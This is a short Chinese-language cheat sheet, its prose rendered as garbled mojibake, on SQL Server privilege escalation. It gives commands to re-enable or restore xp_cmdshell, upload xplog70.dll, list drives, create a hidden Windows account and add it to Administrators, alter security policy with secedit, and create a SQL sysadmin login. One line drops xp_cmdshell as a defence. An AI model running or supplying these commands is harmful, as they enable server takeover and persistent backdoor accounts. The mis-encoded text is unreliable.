互聯(lián)網(wǎng)上對(duì)SQL Server各種各樣的語句都做了很多的總結(jié),在此為大家在補(bǔ)充一些提升權(quán)限相關(guān)命令及防范……
程序代碼開啟cmdshell的SQL語句
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲(chǔ)擴(kuò)展是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回結(jié)果為1就OK
恢復(fù)xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回結(jié)果為1就OK
否則上傳xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'
堵上cmdshell的SQL語句
sp_dropextendedproc "xp_cmdshell"
DOS:
dir c:/
dir d:/
dir e:/
net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add
備份恢復(fù)IPSEC
secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf
SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin